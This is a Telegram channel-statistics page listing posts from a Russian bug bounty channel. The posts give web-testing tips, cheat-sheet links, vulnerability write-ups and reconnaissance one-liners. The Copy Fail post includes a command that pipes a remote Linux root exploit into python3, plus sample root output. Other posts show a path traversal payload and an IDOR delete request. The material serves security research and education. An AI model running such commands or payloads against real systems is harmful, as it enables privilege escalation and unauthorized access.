اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
🕷 BugBountyRu
رفتن به کانال در Telegram
2 875
مشترکین
-124 ساعت
+157 روز
+4030 روز
در حال بارگیری داده...
کانالهای مشابه
ابر برچسبها
اشارات ورودی و خروجی
---
---
---
---
---
---
جذب مشترکین
ژوئن '26
ژوئن '26
+27
در 0 کانالها
مه '26
+70
در 1 کانالها
Get PRO
آوریل '26
+78
در 0 کانالها
Get PRO
مارس '26
+105
در 2 کانالها
Get PRO
فوریه '26
+109
در 1 کانالها
Get PRO
ژانویه '26
+66
در 1 کانالها
Get PRO
دسامبر '25
+70
در 0 کانالها
Get PRO
نوامبر '25
+77
در 2 کانالها
Get PRO
اکتبر '25
+115
در 1 کانالها
Get PRO
سپتامبر '25
+88
در 1 کانالها
Get PRO
اوت '25
+117
در 2 کانالها
Get PRO
ژوئیه '25
+71
در 2 کانالها
Get PRO
ژوئن '25
+53
در 1 کانالها
Get PRO
مه '25
+69
در 1 کانالها
Get PRO
آوریل '25
+98
در 4 کانالها
Get PRO
مارس '25
+75
در 1 کانالها
Get PRO
فوریه '25
+76
در 1 کانالها
Get PRO
ژانویه '25
+134
در 2 کانالها
Get PRO
دسامبر '24
+112
در 3 کانالها
Get PRO
نوامبر '24
+92
در 0 کانالها
Get PRO
اکتبر '24
+77
در 0 کانالها
Get PRO
سپتامبر '24
+86
در 3 کانالها
Get PRO
اوت '24
+79
در 1 کانالها
Get PRO
ژوئیه '24
+60
در 1 کانالها
Get PRO
ژوئن '24
+97
در 3 کانالها
Get PRO
مه '24
+41
در 0 کانالها
Get PRO
آوریل '24
+59
در 0 کانالها
Get PRO
مارس '24
+82
در 1 کانالها
Get PRO
فوریه '24
+68
در 1 کانالها
Get PRO
ژانویه '24
+95
در 0 کانالها
Get PRO
دسامبر '23
+279
در 1 کانالها
Get PRO
نوامبر '23
+89
در 1 کانالها
Get PRO
اکتبر '23
+59
در 0 کانالها
Get PRO
سپتامبر '23
+98
در 0 کانالها
Get PRO
اوت '23
+86
در 0 کانالها
Get PRO
ژوئیه '23
+74
در 0 کانالها
Get PRO
ژوئن '23
+72
در 0 کانالها
Get PRO
مه '23
+526
در 0 کانالها
Get PRO
آوریل '23
+7
در 0 کانالها
Get PRO
مارس '23
+12
در 0 کانالها
Get PRO
فوریه '23
+22
در 0 کانالها
Get PRO
ژانویه '23
+15
در 0 کانالها
Get PRO
دسامبر '22
+14
در 0 کانالها
Get PRO
نوامبر '22
+22
در 0 کانالها
Get PRO
اکتبر '22
+11
در 0 کانالها
Get PRO
سپتامبر '22
+278
در 0 کانالها
| تاریخ | رشد مشترکین | اشارات | کانالها | |
| 10 ژوئن | +3 | |||
| 09 ژوئن | +1 | |||
| 08 ژوئن | +1 | |||
| 07 ژوئن | +4 | |||
| 06 ژوئن | +3 | |||
| 05 ژوئن | +2 | |||
| 04 ژوئن | +4 | |||
| 03 ژوئن | +5 | |||
| 02 ژوئن | +2 | |||
| 01 ژوئن | +2 |
پستهای کانال
🕷 Как быстро добавить скрытые JS chunks в Burp Sitemap
Иногда при тестировании таргета в одном JSON-файле можно найти ссылки на сотни
.js chunk-файлов, которые ещё не подгружались в браузере.
Например: приложение лениво загружает модули, а в манифесте уже лежат ссылки на 300+ JS-файлов.
Что можно сделать:
1️⃣ Вытащить ссылки на эти .js chunks → отправить их через Intruder
2️⃣ В таблице результатов Intruder выделить все ответы
3️⃣ Нажать правой кнопкой мыши → Add to Sitemap
После этого Burp добавит найденные ресурсы в Site map, и с ними можно будет работать как с обычными файлами, которые ты нашел при ручном обходе приложения.
Зачем это нужно:
⚫️ Быстрее собрать скрытые роуты приложения
⚫️ Найти API эндпоинты внутри JS
⚫️ Вытащить фича-флаги и dev-настройки
⚫️ Собрать старые ручки, staging-домены и sourcemaps
➡️ Канал в МАХ| 2 |  🕷 Шпаргалки по SQLi и XSS для багхантера
Когда находишь потенциально уязвимый параметр, важнее быстро перейти к проверке, чем заново вспоминать синтаксис для PostgreSQL, контексты XSS или способы обхода фильтров.
Собрали шпаргалки, которые удобно держать под рукой во время ручного тестирования 🔥
SQL Injection / SQLMap
➖ PortSwigger SQLi Cheat Sheet: синтаксис для Oracle, MySQL, PostgreSQL и MSSQL: UNION, задержки, извлечение данных и OAST.
➖ Tib3rius SQLi Cheat Sheet: короткая памятка по пяти популярным СУБД: удобно открыть рядом с Burp.
➖ NetSPI SQL Injection Wiki: большая база по определению СУБД, эксплуатации и эскалации SQLi.
➖ Advanced SQL Injection Cheatsheet: подборка техник и пэйлоадов для более глубокого тестирования.
➖ SQLMap Cheat Sheet от HighOn.Coffee: команды для автоматизации проверки и эксплуатации SQLi через sqlmap.
Cross-Site Scripting (XSS)
➖ PortSwigger XSS Cheat Sheet: интерактивная база векторов: можно фильтровать пэйлоады по тегам, событиям и браузерам.
➖ OWASP XSS Filter Evasion Cheat Sheet: векторы для проверки фильтров и понимания, почему одного blacklist недостаточно.
➖ PayloadsAllTheThings — XSS Injection: reflected, stored, DOM XSS, polyglot-пейлоады, обходы CSP и фильтрации
➖ HackTricks — XSS: методика поиска, контексты инъекции и нестандартные кейсы эксплуатации
➖ HowToHunt — XSS: практические подходы к поиску reflected XSS и разбору точек отражения
Общие базы для веба
➖ PayloadsAllTheThings — пэйлоады и обходы по основным веб-уязвимостям
➖ HackTricks — методики и техники для веб-пентеста
➖ HowToHunt — практические чек-листы для багхантера
➖ OWASP Cheat Sheet Series — как устроена защита и какие механизмы стоит проверять
➖ PortSwigger-Academy-CheatSheets — база знаний из лабораторий PortSwigger Academy
➖ URL validation bypass cheat sheet — полезно для эксплуатации SSRF, мисконфигов CORS и open redirect
➡️ Канал в МАХ | 669 |
| 3 | Ого, что?! Вышел первый выпуск нашего подкаста «Спасибо за репорт» 🎧
Это проект VK Bug Bounty для багхантеров, а также для всех, кто формирует индустрию. Поговорим с топ-хантерами, командами bug bounty-платформ, вендорами и теми, кому не всё равно, как развивается поиск уязвимостей.
Гость первого выпуска — Всеволод Кокорин aka Slonser.
Разбираемся с ИИ-агентами в багхантинге без восторженных «они всё заменят» и без паники. Что уже работает, что лучше перепроверять три раза и почему хороший результат не получить без реальных знаний. Всеволод как раз из тех, кто разбирается в этом по-настоящему. Он эффективно применяет ИИ-агентов в реальных задачах и точно знает, где они ускоряют работу, а где им не стоит доверять.
В выпуске:
– как ИИ-агенты меняют поиск уязвимостей?
– какие задачи можно отдавать агентам, а какие лучше оставить себе?
– где агенты начинают галлюцинировать вместо того, чтобы искать баги?
– от чего зависят аватарки Slonser'а?
🍿 Первый выпуск
Ставьте лайк, шерьте друзьям, репостите в чатики — будет полезно всем, кто хочет использовать агентов точнее и получать на выходе качественные репорты.
Пишите в комментариях: как вам запуск, кого позвать дальше и какие темы разобрать👇👇👇
VK Security | Буст этому каналу!
#bugbounty #подкаст | 656 |
| 4 |  Google Cloud RCE: $148 000 за одну уязвимость (CVE-2026-2031)
Исследователь из BruteCat обнаружил критическую цепочку уязвимостей в Google Cloud Application Integration, которая позволила выполнить произвольный код в продакшен-среде Google.
Всё началось с безобидного на первый взгляд эндпоинта отладки:
GET /v1/integrationPlatform:getProtoDefinition
Он возвращал protobuf-схемы любых сервисов в монолите google3 — от YouTube до внутренних систем. Это дало возможность «видеть» структуру запросов/ответов любых внутренних API.
Дальше — интереснее:
• Утечка очереди задач: через параметр ?alt=proto + X-Goog-Encode-Response-If-Executable: base64 удалось получить доступ к внутренней очереди рабочих процессов, включая данные из Spanner → Salesforce.
• GenericStubbyTypedTaskV2: в конфигурации воркфлоу нашлась задача, позволяющая выполнять произвольные Stubby-вызовы (внутренний RPC-фреймворк Google) от имени продакшен-сервиса.
• Обход проверок: с помощью двух аккаунтов и манипуляций с ACL удалось опубликовать и запустить вредоносный воркфлоу.
Результат: выполнение /ServerStatus.GetServices на gslb:alkali-base вернуло список внутренних сервисов с полными proto-дескрипторами.
Раунд 2: через 3 месяца
После фикса первой уязвимости исследователь обнаружил IDOR в публичном API Application Integration - можно было читать чужие интеграции, подставляя чужой UUID в свой project ID.
Через endpoint ListTestCases без фильтра утекали тест-кейсы всех проектов в регионе. С помощью бинарного поиска по фильтру удалось восстановить 128-битный UUID жертвы за ~128 запросов.
Цепочка привела к полному доступу к чужим интеграциям и потенциально — к повторному RCE через внутренние задачи (PythonTask, GenericStubbyTypedTaskV2).
Первая цепочка (RCE) P0/S0 $60 000; вторая цепочка (IDOR + RCE) P0/S0 $75 000; доп. находка (остаточный IDOR) P1/S1 $13 337 - итого ~$148 000. | 727 |
| 5 | 🕷 Разведка API: как понять, что под капотом
С обычными веб-приложениями всё просто: открыл Wappalyzer или BuiltWith — и уже видишь фреймворки, CMS и часть стека.
С API сложнее. Там нет привычного фронта, а реальные детали часто прячутся за gateway, WAF, CDN или reverse proxy.
Но язык и фреймворк всё равно можно вычислить по косвенным признакам. И это полезно не из любопытства. От стека зависят потенциальные векторы атак:
▪️ Java / Spring → паттерны десериализации
▪️ PHP → небезопасная десериализация и магические методы
▪️ Node.js / Express → JSON-десериализация и особенности middleware
▪️ SOAP / XML → шанс на XXE
▪️ Шаблонизаторы → возможная SSTI
Зачем определять стек API:
☑️ Точнее строить разведку директорий
☑️ Понимать, какие расширения и эндпоинты искать
☑️ Предполагать шаблонизатор
☑️ Подбирать пэйлоады под конкретный язык
☑️ Фокусироваться на типичных ошибках фреймворка
Как это делать:
1️⃣ Смотреть ответы сервера
Проверяй:
▪️ HTTP-заголовки: Server, X-Powered-By, Set-Cookie
▪️ robots.txt
▪️ API-документацию
2️⃣ Провоцировать ошибки
Пустой JSON, неправильный тип поля или сломанный пэйлоад иногда раскрывают больше, чем баннер сервера.
В ошибках могут всплыть:
▪️ Названия классов, stack trace
▪️ Spring / Django / Express-специфичные сообщения
▪️ Формат валидации
3️⃣ Смотреть, как API обрабатывает данные
Полезно проверять:
▪️ Лимиты GET/POST
▪️ HTTP Parameter Pollution
▪️ Булевы значения: true, false, True, False, 1, 0
▪️ Типы данных: строка vs число vs boolean
Разные языки и фреймворки могут по-разному интерпретировать одни и те же входные данные. Это помогает уточнить стек и иногда приводит к более интересным багам.
➡️ Канал в МАХ | 688 |
| 6 | 🕷 Правильный байпас ограничений 403/40X
Ограничение доступа не всегда означает надёжную защиту. Иногда 401 или 403 появляются из-за ошибки в роутинге, прокси, middleware или правилах WAF.
Достаточно изменить HTTP-метод, добавить заголовок или слегка поменять путь — и закрытый эндпоинт внезапно начинает отвечать.
Nomore403 — тулза для автоматизации проверок обхода 403/40X. Она перебирает типовые техники:
▪️ Подстановку заголовков
▪️ Изменение HTTP-методов
▪️ Вариации путей
▪️ Кастомные пэйлоады
Одна из ключевых фич — «автокалибровка», которая уменьшает количество фолсов ⬇️
Перед основным тестированием скрипт отправляет несколько запросов на заведомо несуществующие пути и запоминает статус-код, размер ответа, заголовки и другие признаки типичной ошибки.
После этого каждый новый ответ сравнивается с базовыми показателями. Если он заметно отличается от обычной ошибки, такой кейс помечается как потенциальный байпас.
➡️ Канал в МАХ | 903 |
| 7 |  🕷 Прежде чем отправлять репорт, попробуй показать максимальный импакт
Распространенные способы получения удаленного исполнения кода (RCE):
➡️ Небезопасная загрузка файлов
➡️ SQL injection
➡️ Небезопасная десериализация
➡️ Server-side prototype pollution
➡️ XXE
➡️ Внедрение команд
➡️ Server-side template injections
➡️ Server-Side Request Forgery
➡️ LFI/RFI
➡️ Race Condition
Иногда «слабая» находка становится критичной именно из-за комбинации нескольких проблем в цепочку атаки:
SSRF → внутренняя админ панель → file upload → RCE
IDOR → доступ к конфигу → креды → RCE
SSTI → чтение файлов → секреты → RCE
LFI → log poisoning → RCE
File upload → LFI → выполнение загруженного файла
Path traversal → чтение конфигов → креды → RCE
➡️ Канал в МАХ | 1 017 |
| 8 |  بدون متن... | 1 090 |
| 9 |  Dirty Frag: Universal Linux LPE
Появилась публичная информация о Dirty Frag — новом классе LPE-уязвимостей в Linux, позволяющем локальному непривилегированному пользователю получить root за счет записи в page cache через сетевые буферы ядра.
Исследователь Hyunwoo Kim описывает цепочку из xfrm-ESP и RxRPC Page-Cache Write; заявлено, что эксплуатация не требует race condition и имеет высокую надежность. Наибольший риск — для серверов с контейнерами, Kubernetes, CI/CD runners, shared-хостинга и любых систем, где недоверенный код может запускаться локально.
Dirty Pipe в 2022 показал возможность атаковать page cache через pipes. Copy Fail недавно продемонстрировал похожий класс проблемы через AF_ALG. DirtyFrag продолжает ту же линию — page cache write через ESP и RxRPC. Три разные подсистемы ядра, но один повторяющийся класс ошибок.
До выхода backport-патчей рекомендуется оценить использование esp4/esp6/rxrpc, временно отключить соответствующие модули там, где это безопасно, и оперативно обновить ядро после публикации исправлений дистрибутивом. | 1 050 |
| 10 |  OWASP RUSSIA MEETUP: AI в анализе кода, SSR-безопасность, атаки на CMS, Telegram-фишинг и ML в AppSec
14 мая состоится OWASP RUSSIA MEETUP — встреча для специалистов по информационной безопасности, разработчиков, AppSec/SRE/DevSecOps-инженеров, инфраструктурных команд и всех, кому интересны современные практики защиты приложений.
В программе — доклады о графовых подходах в анализе кода, рисках SSR на примере React2Shell, атаках на установщики CMS, сценариях Telegram-фишинга через QR-коды и балансе между ML-подходами и классическими правилами в AppSec.
Программа митапа
19:00 — Приветственное слово
Лука Сафонов, OWASP Russia chapter leader
Модератор: Павел Кузнецов, Инфосистемы Джет
19:10 — AI + анализ кода: графовые подходы и почему они снова актуальны
Радда Юрьева, PT
Доклад будет посвящён тому, как CPG/PDG-графы становятся основой для контекстного поиска уязвимостей в коде.
Ключевые темы:
CPG/PDG-графы в анализе кода;
контекстный поиск уязвимостей;
связка графовых подходов с LLM;
применение графовых нейросетей в задачах AppSec.
19:55 — Риски безопасности SSR на примере React2Shell и их митигация
Артем Чувикин, Ngenix
Современные web-приложения всё чаще используют server-side rendering, что улучшает производительность, SEO и пользовательский опыт, но одновременно расширяет поверхность атаки. На примере React2Shell будут разобраны риски, возникающие в SSR-архитектуре, и способы их снижения.
Ключевые темы:
особенности безопасности SSR-приложений;
attack surface server-side React;
уязвимость React2Shell;
практическая эксплуатация на демонстрационном приложении;
virtual patching через WAF, CDN и reverse proxy.
20:35 — Перерыв
20:50 — Атаки на установщики CMS: как захватить контроль над ещё не установленной системой
Александр Колчанов, независимый эксперт
Доклад посвящён сценарию, при котором атакующий находит доступные установщики CMS и использует их для получения контроля над сервером ещё до полноценной установки системы.
Ключевые темы:
поиск открытых установщиков CMS;
получение доступа к админке через процесс установки;
загрузка shell;
удаление установленной CMS и восстановление установщика;
захват контроля без эксплуатации типовых CVE.
21:30 — Как я украду вашу телегу
Михаил Жмайло, CICADA8
QR-код давно стал привычным способом аутентификации во многих приложениях. В докладе будут разобраны фишинговые атаки на QR-аутентификацию, сценарии QRLjacking и использование Telegram как платформы для атак социальной инженерии.
Ключевые темы:
QRLjacking;
фишинговые атаки через Telegram;
захват аккаунта через QR-код;
вредоносный MiniApp;
автоматизация сбора информации;
persistence в Telegram-сценариях.
22:10 — Баланс точности и полноты: ML vs ifчики
Павел Конан, Yandex
Индустрия кибербезопасности активно продвигает AI-powered-решения, противопоставляя их классическим сигнатурам и правилам. Но на практике выбор между ML и rule-based-подходами почти всегда упирается в компромисс между Precision и Recall.
Ключевые темы:
ML против правил и эвристик в AppSec;
компромисс между Precision и Recall;
False Positive и False Negative в WAF и SAST;
alert fatigue у разработчиков;
архитектурные паттерны security-инструментов;
чек-лист: когда нужен ML, а когда достаточно rule-based-подхода.
22:50 — Завершение
Участие в митапе бесплатное и осуществляется по предварительной регистрации. Ссылка на место проведения (Москва) будет отправлена на email.
До встречи 14 мая! | 770 |
| 11 | 🕷 Топ-1 рейтинга платформы
Подвели итоги площадки BugBountyRu 🧮
В первом квартале рейтинг возглавил багхантер Ashgar! В качестве приза дополнительно начисляем 31337 рублей.
Поздравляем и желаем всем больше интересных багов в следующем квартале 💰
➡️ Канал в МАХ | 752 |
| 12 | Некоторые эндпоинты приложений и API принимают только определённые типы контента — поэтому всегда проводи фаззинг с разными значениями заголовка Content-type:
ffuf -u https://api.example.com/api/PATH -X "POST" -H "Content-Type: CT" -w /path/to/content-types:CT -w /path/to/wordlist:PATH
🔗 Канал в МАХ | 1 026 |
| 13 |  Copy Fail: новая LPE-уязвимость в Linux (root на любом Linux в один клик)
Copy Fail — CVE-2026-31431, уязвимость в ядре Linux, которую исследователи называют почти идеальным LPE: обычный локальный пользователь может получить root без race condition, без подбора оффсетов и без сложной подготовки.
Авторы заявляют, что один и тот же 732-байтный Python PoC срабатывает на крупных Linux-дистрибутивах, выпущенных с 2017 года. Подтверждены демо на Ubuntu, Amazon Linux, RHEL и SUSE.
Суть бага — логическая ошибка в криптографической подсистеме Linux: цепочка authencesn → AF_ALG → splice() приводит к контролируемой записи в page cache. Итог — возможность модифицировать поведение setuid-бинарника и выйти в root.
Это не удалённая RCE сама по себе: атакующему нужен локальный доступ или запуск кода на машине. Но для shared-хостов, CI/CD runners, Kubernetes-кластеров, песочниц, dev-серверов и SaaS-платформ с пользовательским кодом это выглядит максимально неприятно: контейнер или обычный пользователь могут стать проблемой уровня хоста.
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user) | 833 |
| 14 | 🕷 Мёртвый поддомен — это не мусор, а источник информации
Хост, который не резолвится, всё ещё может быть полезной зацепкой. Он показывает, как устроена инфраструктура и где искать дальше.
Разберем на примерах ⬇️
1️⃣ Заголовки ответа могут раскрывать внутренние хосты
Публичный эндпоинт возвращает:
302 Found
X-Backend-Host: auth-prod-use1-02.internal.example.com
Формально он «не существует». Фактически — это утечка структуры системы:
▪️ Есть сервис auth
▪️ Используется prod окружение
▪️ Есть регион/кластер use1
▪️ Публичная система всё ещё опирается на этот хост
2️⃣ JS и конфиги могут хранить хосты, которые не резолвятся
Ты нашел очередной поддомен, который не резолвится:
https://payments-api.dev.example.com
Что это даёт:
▪️ Есть или был сервис payments-api с dev окружением
▪️ Фронт всё ещё хранит старые конфиги
▪️ Возможны связанные хосты:
payments-api.staging.example.com
payments.dev.example.com
Почему «мёртвый» ≠ бесполезный
Хост может не резолвиться снаружи, но:
▪️ Резолвиться внутри сети
▪️ Использоваться во взаимодействиях бэкенда
▪️ Быть в allowlist или routing-правилах
▪️ Помогать определить границы доверия
📌 Пример из практики
Багхантер использовал SSRF + список «мертвых» хостов. Снаружи они были недоступны. Но через SSRF — резолвились и открывали доступ к внутренним сервисам.
➡️ Канал в МАХ | 0 |
| 15 | Dev/staging окружение часто менее защищено, чем прод. Используй простой однострочник, чтобы быстро обнаружить свою цель 👇
subfinder -d target.com -silent | grep -iE
"(dev|stage|stag|uat|test|demo|sandbox|beta|internal)" | httpx -silent -status-code -title
➡️ Канал в МАХ | 0 |
| 16 | Почему ты никогда не видишь chunked HTTP-ответы в Burp 🤔
По умолчанию Burp скрывает их из интерфейса. Для решения зайди в настройки, включи эту опцию — и chunked-ответы сразу станут доступны⬇️
Settings → Network → HTTP → Streaming responses
Фича особенно полезна при тестировании на request smuggling и другие техники, где чанки играют роль.
Что это такое?
HTTP Transfer-Encoding запрос и заголовок ответа определяют форму кодирования, используемую для передачи сообщений между узлами сети.
На практике он используется редко, и в таких случаях почти всегда используется с chunked. В Burp по умолчанию он их «собирает» и показывает как обычный ответ.
HTTP/2 запрещает любое использование Transfer-Encoding заголовка. HTTP/2 и более поздние версии предоставляют более эффективные механизмы потоковой передачи данных, чем передача чанками.
➡️ Канал в МАХ | 0 |
| 17 |  Так как по жизни я неисправимый оптимист (с периодическими фаталистическими настроениями), то не могу не отметить плюсы того, насколько ИИшечка входит в нашу багбаунтевскую жизнь. Хочу подчеркнуть, что прежде всего речь идет о таком замечательном инструменте как AI-агент, а также о том, что он может дать багхантеру.
Начнем с простого:
1) Рекон и все такое. Сейчас можно дать задание AI-агенту найти и проанализировать весь скоуп и он это сделает. А если не сможет с наскока, то вежливо спросит: "Товарищ кожаный мешок, мне бы тут ключи на шодан, да на вирустотал, подкинь по-братски". В некоторых случаях, даже спрашивать не будет, а сам все сделает. Таким образом, мы довольно быстро с помощью только одного инструмента существенно расширяем поверхность атаки.
2) Если вы понимаете, что не понимаете, куда дальше копать, то все найденное можно передать агенту и попросить его нагенерировать гипотез или идей для того, чтобы проверить уязвимость. Будут ли они совпадать с вашими? Скорее всего да, но эти идеи он может протестить и сразу сказать, стоит ли копать дальше или стоит посвятить вечер чему-то более полезному
3) Агент может закрыть ваши слабые стороны, поэтому, почему бы не настроить его таким образом, чтобы он занимался тем, что вам не нравится/не хочется? Уязвимости могут быть в самых разных местах и, кто знает, где он может их найти
Это не все плюсы, что уж там. Как и любой инструмент, умелое обращение с ним может показать шикарные результаты - при должной настройке он пропылесосит вам все и вся (не без вашей помощи естественно), а также найдет уязвимости, на которые вы бы потратили кучу времени. Багхантеры, которые сейчас умеют применять таких агентов в поиске уязвимостей, могут получить неплохую прибавку в количестве и качестве сданных уязвимостей.
Но что мы все о багхантерах, давайте поговорим и о вендорах, не зря же тут про другую сторону багбаунти рассказывается.
Плюс, на мой взгляд, довольно большой и очевидный – Мы будем получать больше качественных и критичных уязвимостей вместе с нейрослопом. Особенно это видно на текущем "мертвом" квартале(Q1) - количество выплат и найденных в бб критических уязвимостей, несоизмеримо больше, чем годом раньше, притом часть из них точно была докручена с помощью ИИ.
И все это классно, круто и помогает нам становится секьюрнее. Но, как говорится есть один (не один) нюанс. В будущем все это может повлиять на рынок багбаунти и в принципе на саму ее концепцию.
Позвольте, задам несколько вопросов:
1) Что будет делать вендор, если выплаты за такие качественные уязвимости значительно превысят прогнозы годового бюджета на багбаунти?
2) Что будут делать багхантеры, когда компании внедрят поиск уязвимостей с помощью таких же AI-агентов в свои процессы VM?
3) Что произойдет, когда затраты на токены станут больше, чем получаемые баунти за уязвимости?
4) А нужна ли будет багбаунти компании, когда несколько купленных и настроенных агентов будут справляться лучше, чем 50/80/95% багхантеров?
5) А где и как будут учится юные багхантеры, когда порог входа вырастет еще больше?
Есть еще много вопросов, но, пожалуй, хватит на сегодня. Мы живем в очень интересное время, особенно, если задуматься о том, что такой качественный скачок произошел в последние несколько месяцев.
Выводы, как говорится, сделайте самостоятельно. Успевайте, нас ждет много интересного впереди. | 0 |
| 18 |  🕷 ServerClient-side path traversal: баги, основанные на маршрутизации на стороне клиента
Класс багов, связанный с обходом пути на клиенте, становится всё более актуальным.
Классический path traversal (../../../file) работает на сервере. Здесь идея та же, но на стороне клиента.
👉 Пользовательский ввод влияет на путь → меняется, куда приложение делает запрос или редирект.
💡 В чём суть
Если приложение использует пользовательский ввод для формирования пути — появляется точка атаки.
Пример — сброс пароля:
https://target.com/reset/token?user=victim&Token=810128475189
Если значение Token участвует в формировании пути или редиректа, его можно изменить:
https://target.com/reset/token?user=victim&Token=810128475189%2F..%2F..%2Fuser
В результате клиент сформирует запрос:
https://target.com/user
💥 Где появляется импакт
Сам по себе редирект может быть безобидным. Но как только он используется вместе с другими механизмами, появляется реальный импакт:
➕вместе с уязвимостью open redirect,
➕при загрузке ресурсов (CSS/JS),
➕в логике маршрутизации SPA,
➕при динамической подгрузке данных.
Ресерчи по теме:
🔗 Client-Side Path Traversal: From Session Deletion to Full Account Compromise
🔗 Client Side Path Manipulation
🔗 Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF | 0 |
| 19 |  🕷 Веб-сокеты для багхантера
В отличие от обычного HTTP, где каждый запрос требует отдельного ответа, WebSocket создаёт постоянный двунаправленный канал связи.
После установки соединения клиент и сервер могут обмениваться данными напрямую — без повторных HTTP-заголовков и новых запросов.
Как устанавливается соединение ⬇️
Соединение начинается с обычного HTTP-рукопожатия. Клиент отправляет запрос:
GET /chat
Connection: Upgrade
Upgrade: websocket
Если сервер поддерживает веб-сокеты, он отвечает:
HTTP/1.1 101 Switching Protocols
После этого соединение остаётся открытым и дальнейший обмен идёт по протоколу ws:// или wss://.
🤑 Почему веб-сокеты часто приводит к багам
Разрабы обычно проверяют пользователя во время handshake, но забывают проверять сообщения внутри соединения. Из-за этого появляются типичные уязвимости.
➡️ CSWSH (Cross-Site WebSocket Hijacking)
Если сервер использует только файлы cookie для установления соединения и игнорирует заголовок Origin, ты можешь заставить браузер жертвы открыть WS-соединение и украсть данные.
➡️ IDOR и несанкционированный доступ
Если сервер принимает команды без проверки прав пользователя, можно отправлять запросы напрямую через веб-сокеты.
{"user_id": 1337, "action": "delete"}
➡️ Инъекции
Иногда веб-сокеты передаются дальше во внутренние сервисы или админ-панели без фильтрации. Это может приводить к SQLi, CMDi и другим багам.
⚙️ Тулчейн
✅ Burp Suite: WebSockets History и Repeater — твои лучшие друзья. Перехватывай, изменяй и удаляй фреймы
✅ STEWS: автоматически ищет веб-сокет эндпоинты и собирает фингерпринты
✅ Wscat: CLI-клиент для быстрого тестирования веб-сокет соединений
✅ WebSocket Turbo Intruder: расширение для фаззинга веб-сокет сообщений с использованием кастомного Python-кода
🔗 Пак лабораторий PortSwigger по теме | 0 |
